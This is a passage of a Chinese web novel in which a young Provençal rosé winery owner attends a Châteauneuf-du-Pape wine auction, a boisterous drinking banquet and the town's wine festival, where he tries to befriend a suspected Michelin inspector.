十年以前,在酿制红葡萄酒的过程中加入其他的水果,会被视为‘邪教’,但八十年代末许多酒庄寻求突破,开始在其中加入可以丰富口感的水果,上午他们品尝的酒中就有这样的几款。 你们不能双标啊。 其他酒能寻求突破,粉红酒就必须‘循规蹈矩’.谁规定的? 西奥多尔似乎对这个话题相当感兴趣,职业病发作,追问罗南: “你打算如何让粉红酒陈酿?” 罗南不假思索的回答: “最简单的办法是在其中加入‘烈酒’,当然了,还有其他许多办法,但那要一一尝试过后才能知道,但先生们,我想表达的是——” 回答完西奥多尔,罗南的眼睛在另外三人身上来回移动: “陈年确实很重要,但那绝对不是高端酒的唯一要素,粉红酒应该有其特有的定义高端价值的主张。” 那名主办方的先生发出疑惑的鼻音: “你要打破红、白葡萄酒的属性,重新定义高端?” 罗南笑着耸肩: “粉红酒就是粉红酒,不是红葡萄酒,也不是白葡萄酒,做独一无二的自己不好吗?” 那人不再说话,知道再聊下去会让气氛变得尴尬。 雅克先生则鼓励道: “你说的对,粉红酒应该有自己的高端定义,区别于其他。” 罗南给自己打气: “我会努力的!” 除了聊有关于粉红酒的这一部分,午餐进行的还算愉快和融洽,罗南也用自己的谈吐和人格魅力,给那位组委会的先生留下了一个很不错的初印象。 从餐厅离开,步行去拍卖会的路上,西奥多尔主动和罗南聊起了刚刚没有聊完的话题: “加入烈酒这个想法很有创意,但你要注意酿制时必须加入物质浓郁、结构感强的葡萄品种,否则烈酒的香气会冲淡葡萄的果香。” 罗南完全没想到自己刚刚随口说的一句话,会引来西奥多尔的关注,尤其他主动和自己聊起了酿制的注意事项: “你懂酿酒?” 西奥多尔耸肩: “不了解葡萄酒酿制的过程,如何能品出其全部的味道呢?” 听到这个回答,罗南想要拉西奥多尔‘入伙’的想法更加强烈,他兴奋的说: “等今年的葡萄下来,我会做几组实验,到时候你过来一起看看?” 西奥多尔摇头: “这不太好吧?酿酒师都不喜欢旁边有人指指点点,万一我们意见不合就不好了我可以之后过去帮你尝尝酒,提提意见,这没有问题。” 罗南笑着用食指指自己: “斯特斯加的酿酒师是我,我绝对不会抵触你指指点点,你最好多指点几下才好呢。” 西奥多尔瞪大眼睛,不敢置信的问: “你是酿酒师?不是,你没请酿酒师吗?” 我的上帝,你疯了吗? 罗南顺势把‘鱼饵’甩了出去: “我会不会酿酒,到时候你来看看不就知道了吗?” 罗南在年初参加过在戈尔德举办的艺术拍卖会。 那次拍卖会上,普罗旺斯独特的拍卖风格、本土买家一个又一个令人乍舌的特权和现场的激烈氛围给罗南留下了深刻的印象。 他本以为教皇新堡的葡萄酒拍卖会,会和戈尔德的情况类似,全程充斥着‘疯狂’和火药味,没想到普罗旺斯人居然给他展示出来了鲜少的安静一面。 教皇新堡是普罗旺斯最大最重要的葡萄酒产区。 普罗旺斯是法国最重要的葡萄酒产地之一。 而法国又是世界葡萄酒市场中最重要的组成部分。 这就导致本次拍卖会吸引来了世界各地的买家,有美国人、有英国人、有德国人、有中国香港人、有瑞士人、有日本人.法国本土的买家还不到一半,其中绝大部分都是专业的葡萄酒批发商。 不知道是不是担心举止太过夸张会影响祖国的声誉,这些人全程盯着手里的拍卖目录,非常安静,如果不是提前知道这是个拍卖会,可能会以为是来观看时装周和艺术拍卖现场的火爆气氛完全不一样。 竞价开始后,你争我夺的场面也没有出现,甚至好几次罗南都没有看清是谁在叫价。 因为拍卖师有许多助手分站在会场上的各个角落,他们会360度无死角的盯着买家们的一举一动,也会第一时间提醒有人叫价。 在这样的大型拍卖会上,连雅克先生这样的米其林餐厅老板都属于‘闲杂人等’,根本没有上桌的资本,罗南就更加是全程旁观的身份了。 只不过,杰克逊信守诺言,让罗南坐到了他的身边,以便在过程中给这个小伙子多讲些教皇新堡拍卖会中的门道。 杰克逊生产的葡萄是去年的‘标王’,因此他在今天吸引了在场不少的目光,这让罗南也小小跟着沾了一次光。 “坐在杰克逊旁边的黄皮肤小伙子是渠道商吗?面孔生的很呐,以前没见过。” “不是渠道商,他是斯特斯加的新老板,杰罗姆的接班人。” “啊?斯特斯加的新老板?他怎么来拍卖会了?斯特斯加今天有酒送拍吗?” “今年没有不代表明年没有啊,你看,他都坐到杰克逊身边了,说不定两个人未来有什么合作呢。” “上帝,粉红酒都有机会上拍卖会了吗?这可太疯狂了” 罗南自然不知道拍卖厅内正有多人正在围绕他进行讨论,他正专心致志的体会拍卖会的气氛。 一个小时过去,他大概看明白整个会场‘安静如鸡’的原因了。 之前的每一个拍品价格都让人‘惊掉下巴’,保守预估总成交价要破千万了。 在这种情况下,每个人都不适合做出任何夸张的手势和动作,那会被误认为有叫价的意愿,如果这个错误出现,会付出让人无法承受的昂贵代价,以至于让喜欢手舞足蹈、说话时不动手就不会发音的法国本土人都暂时改掉了这个毛病,乖乖的放好手脚。 “刺激吗?”杰克逊问罗南。 “可太刺激了,刚才那桶酒拍出去了60万?我没听错吧?”罗南全身除了嘴,其他地方都不敢动分毫。 杰克逊的开心以无法抑制: “全教皇新堡做葡萄酒生意的人都可以放下心了。” 拍卖会的成交价反应了接下来一年的葡萄酒市场情况,很显然,明年要赚的盆满钵满了! 罗南羡慕的咂嘴: “希望这份开心可以在明年出现在我的身上。” 拍卖会接近尾声,连拍卖师都忍不住嘴角越咧越大。 离开了拍卖厅,西奥多尔告诉罗南和雅克,今年的均价比去年高出了13%左右,是个名副其实的丰收年。 教皇新堡中9成以上的居民从事的都是和葡萄有关的工作,不知是不是错觉,罗南觉得一路上看到的每个人脸上都喜气洋洋的似乎连药房橱窗里的那个解刨模特脸上都出现了笑容。 罗南也跟着一起傻笑。 普罗旺斯葡萄酒市场好,斯特斯加也会跟着好,开心呐! 突然,一个冰冷的物体进入了罗南咧开的嘴里。 他们已走到晚宴会场,西奥多尔灌了一勺橄榄油到罗南的嘴里: “行情好,晚上的宴会那帮人一定会喝疯掉,你们小心一点。” 第548章 酩酊大醉 晚宴上的酒要咽到肚子里,不能吐出去。 橄榄油可以在胃里形成一层保护膜,降低酒精的吸收速度。 西奥多尔的原话是这样说的: 每年他都能看到无数人在拍卖会前后因为喝醉而闹出笑话,他不想让这件事发生在今天的雅克和罗南身上因为这样一来,他就要想办法把人抬回去了,而且是两个。 罗南和雅克比西奥多尔想象的更加积极和主动。 他们不仅配合的喝下了橄榄油,还主动吃下了山羊奶冻和普罗旺斯香草.这些都可以保护胃和肠道。 做完一整套保护措施,他们才走入教皇新堡一所名为索菲亚的大饭店。 戴着白帽子的侍者分立两旁,夹道欢迎宾客的到来,而这样的动作他们今晚要做几百次,因为今晚将有300多人出席。 “这么多人参加的活动?主办方是谁?”罗南好奇的问西奥多尔,“也是拍卖会的那批人?” 西奥多尔整理了一下他的领带: “当然不是,拍卖会的那帮人可不会舍得花这么多钱来做宴请,今晚的活动是当地酒庄联盟组织的。” 罗南更加好奇了: “酒庄联盟?是类似普罗旺斯美食联盟的组织吗?” 西奥多尔发出一道嗤之以鼻的鼻音: “比那个正规多了,略伦特组织的那个联盟没有入会门槛,鱼龙混杂,教皇新堡酒庄联盟全部是‘精兵强将’,想要加入进去非常困难,今天这300多人中,至少有一半都是想要获得入会资格的,我这样说吧,今晚你可以在这里看到几乎所有普罗旺斯著名的酒庄老板或者是他们的代表。” 罗南跃跃欲试的走到了最前面: “这样吗?那说不定还能遇到一两个‘熟人’。” 教皇新堡酒庄联盟财大气粗,宴请宾客的场地布置的像是皇宫一样。 圆形拱顶尽显气派,墙上挂的是几米长的丝绣植物,上面是和酒有关的物料,一张张长桌依次排开,上面是银质的餐具,灯光照耀下,整个大厅都在闪闪发亮。 罗南三个人和下午的拍卖会没有关联,不需要在中间去穿插着做点什么,到的比较早,还没有到晚宴开始的时间,于是找了一个安静的地方坐下闲聊。 今天的一切经历对罗南来说都是新鲜的玩意。 他到了普罗旺斯这么久,还没有参与过300多人的大型‘聚餐’呢。 要知道今天出席的几乎所有人都是‘酒鬼’,这么多人一起喝酒的场面会是什么样子的? 雅克和西奥多尔聊起了某款藏酒的话题,罗南对此兴趣不大,拿起了桌子上的菜单打量。 这一看不得了啊. 前面的菜单部分挺简单,但酒单写了足足三页,估算下来至少有七八十种。 不是,这不是晚宴吗,怎么又搞成品酒会了? 罗南打断了身边两人的对话,将菜单推出去: “今晚要喝这么多种酒?” 雅克先生翻了翻,没有什么表情的说: “今年不算多,去年的晚宴酒单写了快5页。” 西奥多尔给罗南解释: “晚宴上的酒是酒庄老板、酒商、基金会和政府捐赠的,捐赠方多,品种就多,不过今年已经做了‘精简’,留下的这些都是最上等的。” 观摩过下午的拍卖会,罗南对普罗旺斯高端酒庄的名字已较为熟悉,酒单上出现的的确都是好酒但好酒也架不住这么喝啊。 “可今晚我们不能吐。”罗南压低声音对二人说。 昨天从杰克逊的种植园出来,罗南和雅克走路都打晃了。 雅克露出一抹苦笑: “去年100多种酒也不能吐,我是硬撑过来的。” 西奥多尔又从背包里掏出了些瓶瓶罐罐: “再做点预防吧,我劝你们做好防护,今年的形式相当严峻,他们赚到钱了!” 晚宴开始时间比计划中晚了半个多小时,因为有许多人忙着去给合作方或者老板汇报拍卖会上的好消息。 在这段较长的等待时间中,罗南的眼睛始终在观察大门的方向,希望能看到他的‘熟人’,但一直到前菜上桌、服务员开始给他们倒第一杯酒,都没有看到他的巴黎老乡伯纳德。 不是说普罗旺斯的著名酒庄老板都会出席吗? 怎么会没有他呢? 罗南原本还打算在今晚和他的巴黎老乡们好好认识一下呢。 他转头,抱着试一试的心态问西奥多尔: “你知道‘巴黎新酒农’吗?今晚他们到场了吗?” 西奥多尔还真知道答案: “巴黎新酒农啊,当然知道,他们不怎么和本土酒商往来,自己组织了一个联盟。” 罗南脑海中马上蹦出了一连串的词汇: “新时代酒庄联盟?” 这个联盟在戈尔德大地艺术活动上非常高调,还争抢过佐伊的作品,后来通过机缘巧合,罗南得知这个机构的背后就是他的老乡们。 “没错,新时代酒庄联盟。”西奥多尔耸肩道,“这帮人很抱团,也很排外,哦,对了,你也来自巴黎。” 罗南正要回答,脖子从身后被人勾住。 杰克逊拉住罗南的胳膊: “什么巴黎人,罗南现在是教皇新堡的,你怎么坐这里了啊,来我那边,一会我要监督你唱战歌!” 罗南回头哭笑不得的说: “今晚就不唱了吧?” 今天是正式晚宴,大家全部盛装出席。 女士们脖子、手腕和手指上佩戴着名贵的珠宝,一个个穿着名贵的晚礼服。 男士们则一水的西装领带,头发和胡子梳得一丝不苟,举手投足间袖口的金属扣bulingbuling的。 你跟我说要在这么正式的场合‘啦啦啦’? 不合适吧伙计! 杰克逊拉起罗南就走,还给了西奥多尔和雅克一个‘跟上’的眼神: “孩子,请记住,眼前的一切只是暂时的。” 就这样,罗南三人跟着杰克逊去了他所在的桌子。 那里是今晚的‘重灾区’。 农夫无论在什么场合永远都是最闹腾的那批人。 酒还没喝两口,人先嗨了。 不过好消息是,本地酒庄联盟在今晚请来了一支驻唱乐队,他们的歌声掩盖住了杰克逊那桌人发出的欢快嚎叫。 这支乐队的名字很接地气,叫‘快乐的教皇新堡人’。 四个人穿着围裙一样的服饰,脖子上挂着五彩斑斓的饰品,他们响应宴会主题,本该拿着乐器的手里始终攥着酒杯,第一首歌就把今晚的基调奠定了。 罗南没有听清第一首歌的歌名,旋律也不熟悉,这是他第一次听到。 但他断定这首歌一定是本地人的‘原创’歌曲,因为其中的歌词是这样写的: “橄榄林的风吻过山岗, 麻布手套沾着葡萄果香, 石屋前醉倒三只陶缸, 人生有酒啊,才算活过一场! 哎呦喂!斟满这杯金光光, 蝉鸣在杯底叮当响, 喝干烦恼喝干惆怅, 只留唇齿间落日滚烫! 哎呦喂!薰衣草晒成旧行囊, 酒渍比情书更漫长, 若你路过我泛红眼眶, 别问是醉意还是往事太呛! 哎呦喂!石阶斑驳岁月晃呀晃, 酒沫浮沉人生酿呀酿, 当月亮爬上空酒瓶的窗, 满窖星光正替梦垫着床!” 最后一个旋律终止,现场爆发出热烈的掌声和欢呼声,‘快乐的教皇新堡人’还没有做完飞吻,轰隆隆的战歌声便响起。 所有社交礼仪在那一刻消失的荡然无存并且今晚再也没有回来。 罗南已经数不清喝下了几杯酒,又喝了多少种酒。 只记得吃的东西来了又去,酒杯里的酒去了又来,仿佛永远没有尽头似的。 只看到杰克逊和几个中年男人在餐桌旁又蹦又跳,还挥舞着类似桌布的东西,跳的舞蹈不是《葡萄酒之歌》,看起来更像是一个个脱衣舞娘。 还看到雅克先生摘掉了黑框眼镜,扯去了西装,拉下了领带,露出白花花的胸膛。 罗南的自控能力也逐渐像是酒瓶上的木塞一样——不知道丢去了哪里。 之前是别人找他喝,他不得不喝,后来他开始主动找别人喝。 “敬伟大的葡萄!” “敬今晚的月光!” “敬世界和平!” “敬任何一个可以再喝上一杯的理由!!哈哈——” 突然,罗南滚烫的脑门上附上了一双还带着冰渣的手。 他模糊的视线中出现了西奥多尔表情扭曲的脸: “别他妈敬了,我弄不了你们两个人啊!!” “麻烦了,请将人送到这个地址,再叮嘱接他的人,接到人后一定要给我打一个电话。”罗南靠在雅克先生的奔驰车上,歪歪扭扭的在纸上写上一串数字,“这是我酒店的电话,你让他们转301号房。” ‘代驾小哥’接下那张写有电话号码的纸,同时也递了一张纸出来给罗南: “好的,请放心,我一定会将人安全的送到博尼约,如果之后有类似的事您可以继续找我,这是我家的号码。” 罗南挤出一抹苦笑: “希望不会有下一次了。” 突然,一拖白花花的肉体出现在后排的车窗,赤裸着上身的雅克先生隔着车窗大喊道: “法兰西万岁!我们能够生活在这里真是幸福,周围有那么多可爱的人,这么多漂亮的建筑,这么美丽的乡间,我爱——” 最后几个单词罗南没有听清,因为车已经开远了。 目送车尾灯消失在街道的转弯处,罗南回头对上了正在做‘甩手操’的西奥多尔的目光: “今晚麻烦你了。” 如果不是西奥多尔在最后关头拉了他一把,罗南可能现在也在诗朗诵呢。 温文尔雅的雅克喝多了酒后性情大变,把他拉出来装到车里费了好大的力气,西奥多尔感觉自己刚刚打了一架: “谢天谢地,你保持住了清醒,要不然我真怕伊内斯回去把我‘杀’了。” 罗南不好意思摸了摸脑袋: “气氛太好了,没控制住。” 西奥多尔点了点头,叮嘱道: “你第一次来,还是参加这种类型的晚宴,有情可原.很多人都要吃几次亏才能‘成长’,但记住明天别这样了。” 罗南感觉眼前一黑,差点摔倒: “明天.还要这样喝吗?” 西奥多尔耸肩: “明天的‘局面’比今天还热闹。” 罗南跌跌撞撞的跑向雅克先生离开的方向。 等等我! 带我一起离开!! 前一晚:当事人后悔,非常后悔,不该喝那么多酒! 第二天一早:嘿,好酒就是好酒啊,睡一觉起来一点没难受,满血复活! 雅克先生离开后,罗南的‘家长’只剩下西奥多尔一个人,担心罗南昨晚喝多了今早不舒服,第二天一早他特地给罗南做了一顿早饭。 西奥多尔在教皇新堡有一个不大的居所,身为品酒师的他每年中有一半多的时间在这里工作。 罗南按照地址找到了那个房子,一进去发现西奥多尔正在‘熬’女巫汤药呢——灶台上是一锅墨绿色的粘稠液体。 “你在做什么?”罗南惊恐的问。 西奥多尔搅动着锅里的东西,慢条斯理的说: “一种可以让你醒酒,保护胃壁肠道,并补充体能的食物,我熬了一个多小时,一会你多喝两碗。” 罗南走近了些,闻到了至少十几种普罗旺斯香料的味道,更加害怕了: “我没有事了,真的,没有任何不舒服。” 谁家好人一大早喝这么重口味的东西啊? 西奥多尔低着头,在锅里搅出一个逆时针的小漩涡: “但今天还是要喝酒,而且依然要喝不少。” 罗南举起了右手: “我发誓,同样的错误不会犯两次,今天我绝对会控制好量。” 为了说服对方,他继续说道: “而且今天我还有任务呢,不可能喝太多,会耽误事的。” 西奥多尔皱着眉毛问: “什么任务?” 罗南撤退到了厨房的门口: “你说今天要带我去参加教皇新堡葡萄酒节,未来卢尔马兰肯定也要举办粉红酒节,我要多多观察,多多学习,看看他们是怎么举办的。” 西奥多尔谨记伊内斯的嘱托,主动给罗南介绍: “确实有很多可以学习的地方,今天我会慢慢给你讲,你对什么感兴趣也可以随时问我。” 罗南点头: “好的,我们什么时候出发?” 西奥多尔鼓弄了一阵子,将一碗絮状粘稠不知名液体端到罗南的面前: “喝完就出发。” “啵——”液体表面爆炸出了两颗墨绿色的泡泡,像在庆祝着什么。 罗南紧张的咽了一下口水,将后背紧贴墙壁。 第549章 米其林视察员 罗南小瞧西奥多尔了。 他闭着眼睛喝下了那碗‘女巫的汤药’,发现味道意外的好,而且高强度工作了两天的胃非常舒服,整个人暖洋洋的。 两个人享用完早餐,才走上了教皇新堡的街道。 “你从哪里学来的那道汤的做法?它叫什么?”罗南对那道菜肴充满了好奇。 西奥多尔今天依然是一身黑西装,背后也还背着那个大书包,并且那书包更大了,因为里面还多放了一个小桶,是专门给罗南准备的。 “没有名字,是从一个温泉疗养院的后厨学来的,那是一个可以让身体恢复到最佳状态的地方。”西奥多尔认真的问,“需要我把地址给你吗?” “不了不了,如果我有这个需求会来教皇新堡找你,你给我做就好了。”罗南脑袋摇得像是拨浪鼓一样。 那汤味道确实不错,功效也堪称神奇,但罗南对疗养院那种地方并不感冒。 西奥多尔不置可否的耸肩: “那里的食疗菜谱很多,可以修复疲惫的身体,并让人容光焕发,我真心建议你去住一阵子。” 通过两天的相处,罗南对西奥多尔的了解水涨船高——他是一个非常注重养生的人,生活健康到不像是普罗旺斯人。 “你是普罗旺斯人吗?”罗南想到什么问什么。 西奥多尔和协会里的成员们联系并不密切,罗南对他的情况一无所知。 西奥多尔用一种‘你没事吧’的语气反问: “当然了,土生土长的普罗旺斯人,并且拥有着最‘普罗旺斯’的宗教信仰。” 事实上除了一些重大事件,例如结婚或者小孩出生,罗南在普罗旺斯并没有感觉到特别浓厚的宗教气氛。 当地的邮政日历上标记着上百个守护信徒的纪念日,他们守护着各种各样的东西,从村庄到蔬菜,从农民到木匠。 各个村庄里也不缺宏伟的教堂、修士院和修女院,可以说生活在普罗旺斯,随处可见做礼拜的场所。 但这些地方绝大部分时间里都是空空荡荡的.法国南部只有不到十分之一的居民经常性的去教堂。 宗教话题比较敏感,罗南没有和身边的朋友们在聚会上讨论过为什么大家不去教堂的原因,他不负责任的猜测——普罗旺斯人把用来做礼拜的时间全部吃吃喝喝了。 “我以为你的信仰是崇尚健康。”罗南开玩笑的说,“没想到你居然是虔诚的教徒。” 不容易啊,他身边居然出现了第二个虔诚的信徒,第一个是商业街上的邻居托马斯。 西奥多尔笑出了声: “我说的信仰,不是你认为的那个。” “嗯?那是什么?”罗南有点懵。 西奥多尔指了指四周的商铺和小摊: “普罗旺斯人的信仰是吃和喝,千百年来一直是这样。” 今天是教皇新堡一年一度的葡萄酒节,大街小巷上多出了许多卖酒的地方。 今天无论身处教皇新堡的哪个地方,都能听到小贩大声吆喝——免费品尝!免费品尝! 而且除了这些雨后春笋般出现的酒商,广场和空地上还出现了旋转木马、射击靶场、卖零食的临时摊位和许多长条形的帐篷,帐篷的门帘虚掩,但没有阻绝里面热闹的欢笑。 “今天的气氛像是过节一样。”身处这种气氛下,罗南的嘴角也不由得上扬。 上一次看到这么热闹的场景,还是在去年的卢尔马兰还愿盛典上。 西奥多尔停在旋转木马前,看着上面的孩子们对罗南说: “如果说拍卖会是酒商和种植园主的盛宴,那么葡萄酒节便是全民狂欢的节日,这是教皇新堡每年中最热闹的一天。” 说完,他转头看向罗南,悉心的提醒: “在普罗旺斯,所有跟吃和喝有关的节日都是全民狂欢的好机会,能吸引来许多外地人的目光,斯特斯加要利用好。” 罗南说今天抱着学习的目的,西奥多尔看到可以讲的便会耐心提醒。 “明白。”罗南努力记下四周的样子,“等卢尔马兰举办粉红酒节,也要办成这个样子,办成全民庆典的模样。” 今天的行程相对轻松,白天四处逛逛,感受下葡萄酒节的气氛,再跟着西奥多尔四处去品品酒,晚上去参加种植园主们举办的庆祝丰收年的活动。 “昨天是本地酒庄联盟组织的晚宴,今天是种植园主举办的庆典活动真是接连不断啊。”罗南问西奥多尔,“但出席的人还是昨天那些吧?” 西奥多尔随手接过路边商贩递来的试喝酒: “那你可就想错了,今天的活动规模是昨天的两到三倍大,本地酒庄主组织的晚宴只有行业内的人来参与,但种植园主们邀请的人来自天南海北、做什么的都有,听说今年名单不断的翻倍又翻倍,人数多到教皇新堡最大的餐厅和大饭店都无法装下.要搬到户外了。” 罗南对酒商摇头,没有接酒: “看来无论哪里的农夫都是当地最热情好客的。” 和杰克逊相处,让罗南想到了卢尔马兰的那帮农夫朋友们,尤其是他黝黑的皮肤和粗壮的手臂。 在卢尔马兰,农夫也是最爱热闹的那一批人。 很快,两个人溜达到了今晚活动的现场,沿着建筑物那一侧堆放着巨大的酒桶,那里面的液体倒出来足可以将罗南家的游泳池灌满十次,而工人还在继续堆放着新的。 “今晚又有人要倒霉了。”西奥多尔摇着脑袋说,“形势比昨天更加严峻!” 罗南加速离开了这片地方: “倒霉的人中肯定没有我。” 葡萄酒节吸引来了许多外地人,今天的品酒会规模较前两日变大了不少。 前两天的品酒会上,西奥多尔可以说出每一个人的来历,今天能认识一半就算好的。 在下午的一个小型品酒会上,西奥多尔成为了在场唯一的普罗旺斯本地人,包括罗南在内都是外地来的。 罗南和西奥多尔混熟了不少,压低声音开玩笑的说: “别伤心,你至少还认识我,总比那些外地谁都不认识的人好。” 西奥多尔笑着回答道: “谁说我只认识你一个?这几个人中我还真有一个‘眼熟’的。” 罗南意外的‘咦’了一声,眼神在人群中悄悄的扫荡: “你认识哪个?” 西奥多尔回头看向一个方向: “我还认识那个长头发的。” 罗南跟着回过头去,很快发现了目标。 那是一个留着棕色长发,举止高雅,带着一些外交家气质的中年人,那面孔一看就不是南法的,他太白了。 “他也是品酒师吗?”罗南小声问。 西奥多尔回过头来,停顿了几秒才回答: “不是。” “那你们怎么认识的?”罗南更加好奇了。 “严格意义上讲,我认识他,而他不认识我。”西奥多尔‘高深莫测’的回答。 罗南露出狡黠的笑容: “想要结交,但没有结交上?” 西奥多尔侧过脑袋,盯着罗南说: “当然不是,但我猜你更加想要结交他。” “为什么?”罗南直视西奥多尔。 西奥多尔晃了晃酒杯,用只有二人能听到的声音说: “那人是米其林观察员,普罗旺斯有好几家米其林餐厅都是他推荐出去的。” 罗南的眼睛‘蹭’的一下亮了。 米其林——法国餐厅的最高荣誉,餐饮界的奥林匹克。 没有一家法国的餐厅老板不想要拥有那颗星星。 围绕《米其林餐厅指南》能说的东西实在太多,其中最津津乐道的是它的餐厅评价系统和在这个重要系统中工作的神秘男男女女——米其林视察员。 这些视察员像是幽灵一样出入于各种餐厅之间,对餐厅的口味、环境和服务等进行打分和评价。 获得一颗星星,可以让一个默默无名的厨师一夜成名。 但凡有《米其林餐厅指南》的地方,但凡人们在讨论美食,ta的名字就有可能被提及。 如果不幸失去了那颗星星,那么那极有可能是一个餐厅和一群人的失败,不少人因此大把大把的掉头发。 但问题是没有人知道视察员们的名字,没有人知道他们长什么样,据说只有少数在巴黎总部工作的人才知道他们全部的名单。 “你确定他是米其林视察员?”罗南不敢置信的确认,“视察员的身份不是保密的吗?” 就连雅克先生都无法找到每年是哪几位先生或者小姐在决定着他的命运。 西奥多尔松了一下领带: “我说过,我拥有着最普罗旺斯的宗教信仰而且非常虔诚,虔诚的信徒自然会得到一些启发。” 西奥多尔不想过多解释理由,但罗南相信他并没有说假话。 一位普罗旺斯赫赫有名的品酒师,没必要为此丢失掉他的信誉。 “你去干什么?”西奥多尔问突然离去的罗南。 罗南头都不回的挥手: “去结识一下。” 通过结识的方式走后门自然行不通。 那是最愚蠢的做法。 罗南想旁敲侧击的打听到一些内部的消息,至少打听到如何能吸引视察员的关注也好啊。 通常情况下,视察员们不会对外透露身份,那么这次结识要找另一个话题了。 罗南观察了一会,发现那位长发男士是独自前来,并没有伙伴跟随,于是站到了他的身边。 品了两三轮酒后,罗南突然自顾自的说了一句: “还是教皇新堡的酒有味道,比勃艮第的酒浓多了。” 法国有三个很著名的葡萄酒产区。 波尔多、普罗旺斯和勃艮第,市场和受众都非常庞大。 这三个地区的葡萄酒各有特色,且互为‘仇家’。 这个品酒会规模虽小,但专业性不差,通过几轮品酒看下来每一个都是行家,而法国懂酒的人离不开这三个产区。 罗南刚刚观察下来,猜测这位先生来自波尔多。 至于为什么给出这样的判断,那就要从外形上面讲了。 普罗旺斯人常年沐浴日照,古铜色的皮肤是他们的符号,头发大多都有自来卷,发色多为浅棕,偶有金黄,就比如佐伊。 波尔多位于法国西南部,西临大西洋,是海洋性气候,雾气重,在个别月份终日雨雾笼罩,冷白色的皮肤是其特征,发色较南方人来讲会偏深。 勃艮第位于东部内陆,日照弱但纬度高,肤色较难统一,但颧骨高,且男性30岁以后很容易谢顶。 这位视察员先生有一头浓密的棕发,皮肤冷白,一看就是波尔多人,或者来自那周边。 所以罗南故意‘贬低’勃艮第的酒,敌人的敌人当然是朋友啦。 那人听到罗南的抱怨,笑着附和了一句: “勃艮第的酒现在淡的像水一样。” 近些年来,三大葡萄酒产区出现了很明显的风格变化。 普罗旺斯的葡萄酒愈发浓烈,因为葡萄的酒精浓度远远超过15%的AOC要求。 波尔多在早年间已占领了高端市场,为了另寻出路,勃艮第提出了全球化的目标,最近两年将酒做的越来越淡。 而波尔多呢,也有它的问题。 “波尔多的酒也好,但太贵了,只有日本人能买得起了。”罗南问那人,“你也是来教皇新堡淘酒的吗?” 无人陪伴,罗南又表现出了很强的专业性,那人很自然的搭话: “对,来淘点好酒,现在想找到又便宜又好的葡萄酒太不容易了。” 罗南跟着叹气: “可不是嘛,这两天我都不知道去了多少酒庄、喝了多少酒,对了,你找到不错的酒了吗?” 罗南一看就不是本地人,棕色长发男子以为遇到‘知己’了: “我今天才来,还没有逛太多地方,你呢,找到不错的了吗?” “我来教皇新堡有几天了,还真有几款不错的。”罗南热情的邀请,“中午一起吃饭吗?我给你分享一下。” 罗南想在吃饭的途中多多观察一下。 视察员的工作是吃饭,吃饭的时候自然会流露出很多特殊的习惯和独特的细节。 棕发男子原本自然状态的眉毛突然扬了起来,像是一只炸了毛的猫。 没有任何思考,他拒绝道: “不了,我在教皇新堡的行程只有一天,中午就不吃饭了,四处找找。” “那晚上?”罗南再次询问。 那人继续摇头,罗南知道,继续约下去只会一次又一次的失败,这人似乎对和陌生人吃饭非常的排斥和谨慎,可能是担心露出什么马脚。 那之后罗南便不再多言,继续完成后面的品酒环节。 两个人全程站在一起,品酒会结束也一起出来,罗南主动介绍: “我叫罗南。” 那人礼貌的回应: “格雷瓜尔。” 罗南用闲聊的语气问: “晚上的庆典活动你去吗?到时候我们坐在一起啊。” 格雷瓜尔摇头: “我没有收到邀请,只是来参观葡萄酒节的。” 罗南遗憾的说: “那可是葡萄酒节上最有意思的活动,你想去吗?我也许可以帮你找到一张邀请函。” 雅克先生回了博尼约,西奥多尔手里正好还富裕一张。 格雷瓜尔犹豫了几秒,犹犹豫豫的问: “会给你添麻烦吗?” 罗南一脸热情的说: “当然不会,我正好有一个朋友离开了,那晚上我们广场见。” 格雷瓜尔,让我看看喝醉了的你嘴还有没有那么严吧! 第550章 打道回府,结婚去! 午餐时间,罗南神采奕奕的给西奥多尔讲述了他的‘临时起意’,询问对方是否可以让那张邀请函发挥出最大的功效。 西奥多尔表示可以将邀请函送给格雷瓜尔,并称赞了罗南的机智只是有些担心他的计划是否能够奏效。 “这个计划听起来不错,但你能保证自己可以清醒到撬开他嘴的那一刻吗?” 需不需要我帮助你回忆一下,你昨晚的样子? 罗南死死抱住西奥多尔的黑色大书包,并用力拍了两下: “今晚就靠它了!” 傍晚时分,罗南和西奥多尔在教皇新堡广场与格雷瓜尔碰头。 正如西奥多尔所讲的那样,格雷瓜尔并不认识西奥多尔,甚至主动询问起了他的工作情况。 西奥多尔如实回答,说自己是品酒师。 “那你呢?”格雷瓜尔问罗南。 上午他们只是互相介绍了姓名,并没有涉及职业的信息。 罗南指了指西奥多尔,笑着说: “我在跟着西奥多尔学习品酒,他是普罗旺斯最著名的品酒师。” 假冒品酒师的身份是为了给待会拿出小桶做铺垫,他今天绝对不能喝多,撬开这名视察员的嘴更加重要。 万一以后有和格雷瓜尔相认的那一天也不怕。 我也没说只有这一个职业啊,我职业可多了去了,不信你去打听打听。 格雷瓜尔点了点头: “真是一份让人羡慕的工作。” 罗南很自然的问: “那你呢,你是做什么的?” 格雷瓜尔脱口而出: “我是一名作家。” 西奥多尔侧过脸去偷笑,心想今晚有意思了,两个‘骗子’。 罗南则表情平静的追问: “这也是个令人羡慕的职业,那你擅长写什么类型的?” 格雷瓜尔很自然的回答,显然不止一次搬出过这个假身份: “美食类型的,看到好吃的,好喝的就记录下来,将来用到上。” 罗南搬出假身份是为了做铺垫。 格雷瓜尔用假身份也是为了今晚做准备。 他下午打听过了,说晚上的庆典上会有乡村菜肴。 米其林视察员是一份全职的工作,而工作的内容就是吃饭,每一天的每一顿饭都要抱着目的来吃,并且记录下什么,否则要扣工资的。 今晚他本打算请假,但既然被动上班了.那就顺势记录些什么吧。 家的身份,可以解释他接下来的一些奇怪做法。 三人随口聊了几句,很快走到了户外庆典的举办活动现场。 今天教皇新堡依然禁止汽车驶入,但在广场的许多的地方都能看到维持秩序的警察。 其中一个警察看到三个人的穿着打扮和要去的方向,负责的提醒道: “先生们,请一定记住停车的地方,不过最好是让你们的妻子晚上过来接你们一趟,我发誓,那是最安全和快速找到车子的办法。” 教皇新堡葡萄酒节举行了十几届,每次活动期间警察局的电话都能被打爆,新鲜事、麻烦事层出不穷。 罗南和西奥多尔礼貌的说了些感谢的话。 经历过昨晚晚宴的他们,非常理解这句话的含金量。 但今天才来、对教皇新堡喝酒气氛不是很了解的格雷瓜尔满不在乎的说: “如此美妙的夜晚,还是别让她们来了。” 那警察对此见怪不怪了: “那祝你们喝得愉快。” 西奥多尔给两人介绍,说每年葡萄酒节期间,教皇新堡会消耗掉40万到50万瓶葡萄酒。 